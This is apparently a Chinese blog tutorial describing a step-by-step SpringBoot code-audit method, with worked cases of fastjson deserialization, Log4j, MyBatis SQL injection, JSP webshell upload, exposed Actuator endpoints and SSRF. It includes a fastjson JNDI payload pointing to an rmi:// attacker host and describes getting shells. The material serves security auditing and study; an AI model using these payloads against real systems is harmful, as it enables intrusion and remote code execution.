公式化Java代码审计-SpringBoot
公式化Java代码审计-SpringBoot
免责声明:本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关。
注:全文约7900字
前言
“Spring Boot在Java开发中的占比非常高,特别是在微服务、云原生和企业级应用中,已经成为主流选择。”
所以,在渗透测试过程中,笔者对SpringBoot框架接触也是非常的多,这主要取决于遇到过大量的Swagger、Actuator的页面,后面我大概花费了一年的时间,去学习java开发(JavaSE -> JavaWeb -> SSM(Spring SpringMVC Mybatis) -> SpringBoot)来使渗透测试以及代码审计过程中更有发现
奈何笔者愚笨,对开发仍然一知半解,但好在可以简单看懂了,也对功能点的测试有了新的思考
经过我一些日子的学习和实践,总结出了我针对SpringBoot框架代码审计的流程
Start
为什么要叫公式化?
当我拿到一个SpringBoot框架的项目,会把审计过程分为三个阶段,文章后续也以这三个阶段为目录拓展
我的代码审计原则是:一切为了漏洞发现和利用
前期(环境搭建)
在这个时期,不会接触到代码,我们需要把项目环境先搭建起来,阅读开发手册,选择什么环境、选择什么版本的组件都至关重要,漏洞利用是很复杂的,涉及的因素也非常多,我们需要留意如下几个特别点,而不是一股脑把程序跑起来就行
JDK版本
大多数项目都只是说了运行要求的JDK大版本,也就是jdk1.7,jdk1.8,jdk11…
or
or
在不同jdk的版本中,有不同的功能被修改增加删除,这导致不同版本的jdk对我们的漏洞利用产生的影响无疑的巨大的,主要是小版本的细节问题
比如,在利用fastjson反序列化漏洞-BasicDataSource链的时候
执行了命令,利用成功
利用失败,这是因为在jdk1.8_251之后移除了com.sun.org.apache.bcel.internal.util.ClassLoader这个类,而在这之前是可以用的
还有一个jndi注入的例子
成功
利用失败
这里可以从请求情况看到,只是发送了ldap请求并没有请求到恶意类。
因为在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载
当然 这是可以绕过的
小版本的修改还有很多,这里大家可以去自行搜索学习,我就不一一举例了
可以看到小版本对于漏洞利用影响是多么的大,这里举例一个大版本的:Gopher协议利用SSRF
众所周知,在rt.sun.net.www.protocol
包下负责实现Java对特定网络协议的支持
如图jdk1.7支持的协议
可以看到gopher协议的
但是在jdk1.8中是没有
这就意味着,当我们在小于jdk1.8的环境中利用SSRF漏洞,就要留意这个问题了
不同JDK影响Maven,进而影响依赖的问题,还会涉及到依赖传递,这展开说就太多了
这里引用大佬的一句话
”应通过修复代码来彻底解决这个问题,而不应依赖于环境的安全增强来规避攻击“
数据库类型
比如,在MySQL中:日期函数如NOW()
,返回当前时间。字符串函数如CONCAT()
,用于拼接字符串
而到了PostgreSQL:函数CURRENT_TIMESTAMP,返回当前时间,字符串函数如||运算符,支持字符串拼接,而不是CONCAT()函数
PostgreSQL还有大量特有的函数,例如GENERATE_SERIES()
可以生成一个序列,而MySQL中没有直接等价的函数
ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释
不同的数据库差别太大了,注释符、函数、语法、部署方式、依赖/扩展…
这直接影响了我们怎么构造SQL注入的语句
对于这种多选一的,不知道大家会怎么选,我个人更倾向于选择MySQL,主要是因为对其他数据库还不够熟悉
数据库版本
最熟悉的就是,MySQL数据库5.0后加入的INFORMATION_SCHEMA
比如PostgreSQL,在8.2加入了pg_sleep()延迟函数
Link:https://www.postgresql.org/docs/release/8.2.0/
以及SQL Server 2005 中引入的 xp_cmdshell
还有非常之多
目录结构
看这个为了了解项目整体结构。大致了解作者编写逻辑,搞清请求流程。
SpringBoot继承了 Spring 的传统,集成了 Spring MVC,几乎所有的Spring Boot 项目默认使用 MVC 架构
目录如下
src/main
下面有两个目录,分别是java
和resources
java
目录中主要存放的是java代码,这里是重中之重!要搞清每个目录的含义,对于我们的在审计过程中,请求流程是怎么走的至关重要
结合开发手册,配合自己的解读或者单纯看目录名,大概就知道是做什么的了
resources
目录中主要存放的是资源文件,比如:html、js、css等
个别项目还会引入jsp依赖,有webapp
来存放jsp 但这种情况在SpringBoot项目中是非常少的,这里决定了如果出现文件上传漏洞能否上传webshell
一些README.MD中也会对目录给出大致说明
配置文件
这里主要是对application.yml
、application.properties
在这里发现了规定上传文件的大小
jwt秘钥
甚至开启了ajp
CORS跨域问题
还有很多,比如AK/SK、各种key等各类数据的硬编码,这都对我们的漏洞利用起着影响
前期我要说的就这些。主要是搭建环境的选择,如何更有利于我们对漏洞的利用,以及熟悉项目来帮助审计
中期(手工审计)
到了这里,就来到了代码审计过程中最重要的一个环节,开始从代码入手。为了这个公式化的流程,我分为三步并简单举例:
pom.xml、正向审计、逆向追踪
POM
我主要关注两点:
一、了解项目使用到的依赖,使用的依赖哪些有漏洞
二、反序列化相关类
如何快速发现pom中存在漏洞的依赖?
通过开发文档得知
没有开发文档,或者一些项目不大 依赖不多,肉眼也是可以整理出来的
这样直接搜组件漏洞即可
或者依靠idea的插件识别Package Checker
https://plugins.jetbrains.com/plugin/18337-package-checker
这里,有一个值得一提的地方,就是依赖传递的问题。比如当年的log4j,影响范围之所以那么大,确实与依赖传递有很大关系。也就是 父pom 引用了一个带漏洞的依赖,我们直接在当前pom是看不到的。
我们需要了解一下pom的工作方式:
pom.xml
是当前模块的配置文件:每个 Maven 项目或模块都有一个pom.xml
文件,它是当前模块的配置,包括依赖、插件、编译设置等内容。- Maven 项目可以通过继承另一个 pom 文件,通常是一个父 pom 。例如,Spring Boot 项目常常继承
spring-boot-starter-parent
- 父 pom 中定义的依赖管理、插件管理、属性等内容会传递给子模块
- 项目的实际依赖和配置不只是当前
pom.xml
文件中列出的内容,还包括从父 pom 和其他传递依赖中继承过来的部分。因此,当前的pom.xml
只是部分配置,并不是最终生效的 pom
也就是说,我们上面直接通过当前pom.xml
去筛选,查看对应依赖有没有漏洞,这完全忽略了这种情况,如果父 pom 也就是被传递的依赖有漏洞呢,我们如何查看和确认?
首先,大多数父 pom 几乎都是官方 pom,这些官方父 pom 通常经过维护和定期更新,以解决已知问题和漏洞。但发现漏洞依然是有可能的,因为更新不是实时的,而且每个使用者配置也都是不一样的,使用者也未必进行了更新,或者依赖之间的版本兼容问题。
对于POM的审计,主要还是看当前pom.xml的依赖
如何获取最终 pom
mvn help:effective-pom
这个命令会生成项目的 有效 pom,它是所有继承的父 POM 和依赖管理都解析后形成的完整 pom 文件
原本147行的pom,最后生成了5500行
在effective-pom中,看到了tomcat的版本
这个版本有对应着 Apache Tomcat HTTP/2 拒绝服务漏洞(CVE-2020-11996),就不做复现记录了
最终的POM代码量太大,我们依靠工具去检测,dependency-check
,它会分析项目的依赖树,并检查依赖库是否包含已知的安全漏洞,也就是检测最终的POM
申请nvdApiKey,https://nvd.nist.gov/developers/request-an-api-key
在代码工程的 pom.xml 文件中添加插件依赖
1 | <build> |
更多配置参数详解官方文档: https://jeremylong.github.io/DependencyCheck/dependency-check-cli/arguments.html
然后在Maven模块中点击check即可
运行成功后,会在target 目录下产生dependency-check-report.html
输出文档非常全面
一个简单的例子:
可以看到Log4j2版本为2.10.0,此版本存在远程代码执行漏洞(CVE-2021-44228)
全局搜索关键字logger.info
或logger.error
,只是有的项目用前者,有的项目用后者,这两个本质是一样的,这都可以触发漏洞的,不过是记录信息不一样
这个项目中是用的logger.info
找到拼接变量参数的地方,并确认哪些参数是可控的
经过测试发现多出可用,这里随机演示一个
向上追踪orderBy,发现是一个排序的字段
根据注释和映射路径,我们移步到功能点处测试验证
留意url编码
成功
关于第一点,总结pom审计大概流程
1、确认版本有无漏洞
2、找到漏洞关键函数|有些依赖的漏洞可以直接利用
3、确认参数是否可控
第二点,由于笔者水平有限,并不具备挖新链的能力,所以主要体现在漏洞利用上面,为了不误导大家,我举例说明
比如Fastjson的情况,如果想在 Fastjson 反序列化漏洞中利用某条特定的利用链(执行命令),而该利用链所依赖的类和方法在pom中不存在,那么就无法成功利用该条链进行攻击,当然shiro和weblogic的反序列化也是如此
可以看到是1.2.58的fastjson
确认到使用的fastjson版本存在漏洞,搜索关键字JSON.parse
和JSON.parseObject
可以看到在152行这里使用JSON.parseObject()
方法反序列化了propertyJson
参数
向上追踪propertyJson
参数
发现来自于添加信息产品的产品属性
去功能点出利用
dnslog探测
java.net.Inet4Address
是JDK 自带的类,因此不需要依赖额外的库或类,但也只能发送网络请求 证明此处存在fastjson反序列化漏洞。如果想要执行命令呢?直接讲利用
拿这个来验证{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"rmi://192.168.16.126:1099/whoopsunix"}
这里也给出了提示,调试过fastjson的应该也都知道,就是没有这个类
需要在pom中加入依赖
再次验证
还是不行是因为没有开启AutoType
初始化处加入ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
此时就成功了
上面这个项目中,笔者只是举例来证明第二点,通过手动修改代码来 RCE肯定是不行的。在一些SRC、众测或者甲方的项目中,通过网络请求验证存在Fastjson反序列化漏洞,评分是很低的,往往还需要提供完整的利用链做到RCE才能算有效高危
到了这里,大家应该也都明白了,pom中关注依赖不仅是为了利用依赖的漏洞,对我们利用反序列化相关类也是很重要的
正向审计
一、从一个功能点开始测试,就是我们平常渗透,外加代码层分析,最终来确认这个有没有漏洞,怎么去利用
二、从Controller层的映射路径开始,一直追踪,代码到底做了什么,是否存在漏洞
在这里,我发现了可以利用文件上传漏洞的功能点
映射路径定位到代码块
定位到映射路径
这里可以看到,对文件的处理只是获取到后缀,然后随机名+后缀,存储到了res/images/item/adminProfilePicture/
这个目录中,
发现在pom中存在jsp解析的依赖
这样就可以上传jsp马来getshell
成功
遗憾的是,这种Springboot支持解析jsp的项目出现概率极低。Springboot先进的技术让前端几乎都是依靠模板渲染,或者前后端分离模式部署
推荐大家去看我的这两篇文章,有一些比较详细的描写
SpringBoot场景下不出网-内存中的正向代理 | Seven1an’s blog
文件覆盖漏洞-crontab反弹shell细节问题 | Seven1an’s blog
继续正向审计,大部分SpringBoot项目Dao层几乎都是Myabtis,下面这个项目也是
映入眼帘是搜索框
搜索,抓包
映射路径定位到代码块
大概分析一下,
控制器方法 searchPage
处理了 “/search” 和 “/search.html” 路径的 GET 请求,将请求的参数都封装到类型为Map的params的对象中,并且对指定的几个关键字做了单独处理
检查 params
中是否有 page
参数。如果没有,默认设为 1
给limit
设置为了10
下面的if进行了一个分类筛选
如果存在并且非空,将其转换为 Long
类型的 categoryId
。
通过 newBeeMallCategoryService.getCategoriesForSearch(categoryId)
来获取该分类搜索信息,并保存到 searchPageCategoryVO
。
如果有数据,使用 request.setAttribute()
将分类数据添加到请求对象中
接下来处理orderBy
和key
检查params
中有无orderBy
这个参数,验证非空后设置为请求属性
检查params
中有无keyword
这个参数,验证非空之后去掉空格,把参数中keyword
的值传递给keyword
,同时也将其作为请求属性和 params
中的值存储
然后就是封装,调用service层的newBeeMallGoodsService.searchNewBeeMallGoods
方法查询封装的对象,返回查询结果
在这之间没有发现任何防护
没有过滤器实现,拦截器中也没有发现相关防护代码
看一下newBeeMallGoodsService.searchNewBeeMallGoods
做了什么,可以看到方法中又调用了Dao层的goodsMapper.findNewBeeMallGoodsListBySearch
来操作封装对象
定位到Dao层
继续跟进到 MyBatis 的 SQL 映射文件,查看对应的SQL语句发现进行了一个查询和排列的操作
到了这里,就不言而喻了
${}拼接参数
众所周知,动态拼接是核心是sql注入核心,也就是keyword
参数存在注入
成功
再来看这里
订单号这一串是否存在注入?
映射路径定位到代码块
一直追踪到MyBatis 的 SQL 映射文件
这里使用了#{}
作为参数的占位符,也就是预编译机制,所以不存在SQL注入
篇幅原因三个简单的例子,希望各位可以理解正向审计的流程,从功能点入手再结合代码分析。这种方法对漏洞的发现效率是非常低的,对我来说往往是功能点太多了耗时耗力,有的忙活调试大半天发现无法利用!这样的话我们就需要逆向追踪这种挖掘路线
逆向追踪
大家可以回顾到本文的POM目录,我举例说了log4j2和fastjson两种漏洞的利用,从漏洞点开始,特定的方法、关键字的发现,追踪到Controller层,看看是不是用户输入的(参数可控)。为什么不用正则?因为这在文章后期的工具中有更好的实现!就不要手工来折磨自己了
第一个例子:
因为是Mybatis项目,所以全局搜索xml文件中的$ 来挖一个SQL注入,需要从Dao层追踪到Controller层
跟进${goodsName}
确认这个参数是从哪里过来的,它的值能不能在功能点处控制
进入Service层的实现类NewBeeMallGoodsServiceImpl.java
,发现被getNewBeeMallGoodsPage
方法调用
跟进查看谁调用了getNewBeeMallGoodsPage
方法
并没有发现拦截过滤的防护代码,此时只需要找到前端触发映射的功能点,传递名为goodsName
的参数附带SQL语句即可
这里会出现一个问题,如何去找到功能点呢?
我的思路:
阅读注和释开发文档
拼接触发url,返回结果推断
触发的变量,抓包搜索
分析代码,直接构造请求
前端使劲找
这里使用第4种,考虑到路径前缀的情况,先从Endpoints看下完整映射路径
加入cookie后构造payload
根据代码处可以得知page
和limit
是必不可少的,再加上goodName
参数即可
到这里就证明goodsName
存在SQL注入漏洞
第二个例子:
pom中发现引用了Spring Security依赖
很多SpringBoot都会引入Spring Security来做安全访问管理,在Spring Security中,我们可以通过如下几个关键字方法来定位代码,帮助挖掘未授权访问漏洞
1 | authorizeRequests() |
通过搜索ignoring
发现了无需验证就可以访问的地方
这不就有了几个无需登录鉴权就可以访问的地方吗,还是非常多的,直接访问危害最大的/actuator/
看下
这里可以利用的点就非常多了:env星号解密、env加refresh进行getshell、heapdump分析获取敏感信息
在application.yml中,可以看到也是开启了heapdump,这个默认是关闭的
那么就可以利用这个漏洞,危害是巨大的
最后一个案例:
这次挖一下有没有SSRF漏洞,SSRF出现在网络请求的地方,如下是一些网络请求实现的关键字,通过关键字快速定位是否使用了该依赖以及相关HTTP请求方法,具体逻辑还需根据实际代码分析
1 | HttpRequest.get |
全局搜索一些,主要还是结合依赖和目录文件看作者的开发习惯命名,但命名几乎都差不多少
搜索newCall
,看到有newCall(request).execute()
,它是 OkHttp 库中的方法调用,用于发起一个 HTTP 请求并同步地获取响应
进入到SysbaseSupport.java
中分析,发现这是一个名为upload
的方法
在这个方法中,接收了两个参数,接收一个 File对象和一个上传的 URL,着重观察uploadUrl,很多情况下url都是我们可控的,可以发现它被添加到了请求中,然后通过OkHttpUtils.useHeaders
构建为了最终请求,并且通过newCall
发送了出去,这里可以肯定是,如果可以控制uploadUrl这个参数的值,那么就存在SSRF漏洞,在这其中也没有发现过滤的相关防护代码
现在去查看哪里调用过upload,怎么去传递uploadUrl参数
查找之后发现一处调用
这仅有的一处结果把uploadUrl硬编码写好了,这我们就无法从前端控制,故不存在漏洞
此处不存在,我们换下一个,来到get方法
这里还是一样的套路,再去找哪些地方调用了get方法
一共有四处调用,前两处是方法重载调用的不关注,我们来到第二处的第一个FileDownloader.java
的readRawText
方法,这里可以看到,GET请求read-raw
这个映射路径进行调用,从请求中获取到url
赋值给filePath,获取请求中的 charset
,如果请求中没有此参数,则使用默认字符集 AppUtils.UTF8
赋值给charset,以及cut
参数的获取与赋值
接着进入了一个if判断,跟进isExternalUrl
方法得知做了url格式验证,可以看到如果filePath也就是传过来的url,既不是字符串也不是以http://
或https://
开头就返回false
然后接着调用get方法,到了get里面也就执行了请求
验证
也是成功了
看到这里,有些师傅其实发现了,这不就是CVE-2024-1021吗?没错,笔者确实没有花费时间再去找案例写博客,验证思路效果即可,无非是复现漏洞反推嘛
这里演示了SQL注入,SpringBoot未授权访问,SSRF的漏洞挖掘,其他漏洞也都是换汤不换药,不同的漏洞肯定是不同代码写的,那无非就寻找不同的关键字确认功能点与可控参数
中期暂时就这些,后面的话我准备把各类漏洞的逆向追踪挖掘再丰富一下
人工耗时耗力,为了保证产出可以更高效,我们需要使用工具辅助挖掘,进入第三个阶段
后期(工具辅助)
在这个阶段,我们对一个项目经过了环境搭建、手工审计的流程之后,肯定是相当熟悉了,相信也会有一些产出成果
现阶段的许多代码审计工具,特别是静态分析工具,主要依赖于关键字匹配、正则表达式和规则集来发现代码中的潜在漏洞,或许很近的未来会有AI的加入,到那时工具就不会那么死板了, AI 的加入将彻底改变代码审计的方式,我是非常期待的
可能会有没有怎么接触代码审计的师傅疑问,”为什么不能直接工具一把梭?”,首先,我提倡的是手工审计+工具辅助,是辅助!而且静态分析工具虽然强大,但它们主要依赖于关键字匹配、正则表达式和预定义的规则集。比如出现复杂的逻辑漏洞和复杂的业务,以及某些仅在特定环境下的漏洞它又怎么能发现的了,这些影响不亚于RCE类高危漏洞。其次,大量的误报也会增加工作量,手工审计也是熟悉项目的一个过程,熟悉了之后对复现也有帮助
最后,我们通过利用工具审计+手工审计共同再做一个收尾工作,试着发现遗漏的点
Xray
Link:https://github.com/chaitin/xray
具体使用大家可以去看下我2021年发在freebuf的文章 Link:https://www.freebuf.com/articles/web/277286.html
本文到这里已经接近八千字了,笔者尽量不在阐述已经讲过的东西了
在代码审计这块大同小异,也是利用Xray的被动扫描,本地搭建的环境没有WAF可以尽情扫,我使用的两种形式
解放双手版:搭配Rad爬虫实现自动化扫描进行
高效出成果版:手工审计的同时开启Xray做后台扫描
各有各的好处,如果大家也有什么利用思路,恳求传授
Fortify
老牌工具了,互联网上介绍的相关文章也比较多,但是似乎没有特别深入使用的文章,比如一些底层的配置以及优化调试等等(商业产品是这样的了),待到我后面有时间 准备专门研究一下,再分享给大家
将扫描出的漏洞点,再通过IDEA去做审计来验证
chanziSTAT
近期逛github发现的一个新项目,专门针对java做代码审计的工具,作者团队更新也是很积极,有付费版和免费版两种
Link:https://github.com/Chanzi-keji/chanzi
从我的使用的免费版中感觉,除了页面分布不太好影响使用外,其他感觉还可以,希望作者团队可以尽快优化下,推荐大家试一试
比较牛的是可以搭配 Cypher
语法去自定义规则
到了这里后期就结束了,通过工具爆出的可疑漏洞点,再去进行中期-逆向追踪的漏洞挖掘,记得搭配上Xray
结束
这篇文章是我迄今花费时间最长的文章了,希望对大家有帮助。如果有讲的不规范,或者错误的地方,恳请大家指出!我将火速更正,笔者写博客的原则是绝不误导任何一个人
感谢:Power_7089师傅的答疑解惑以及支持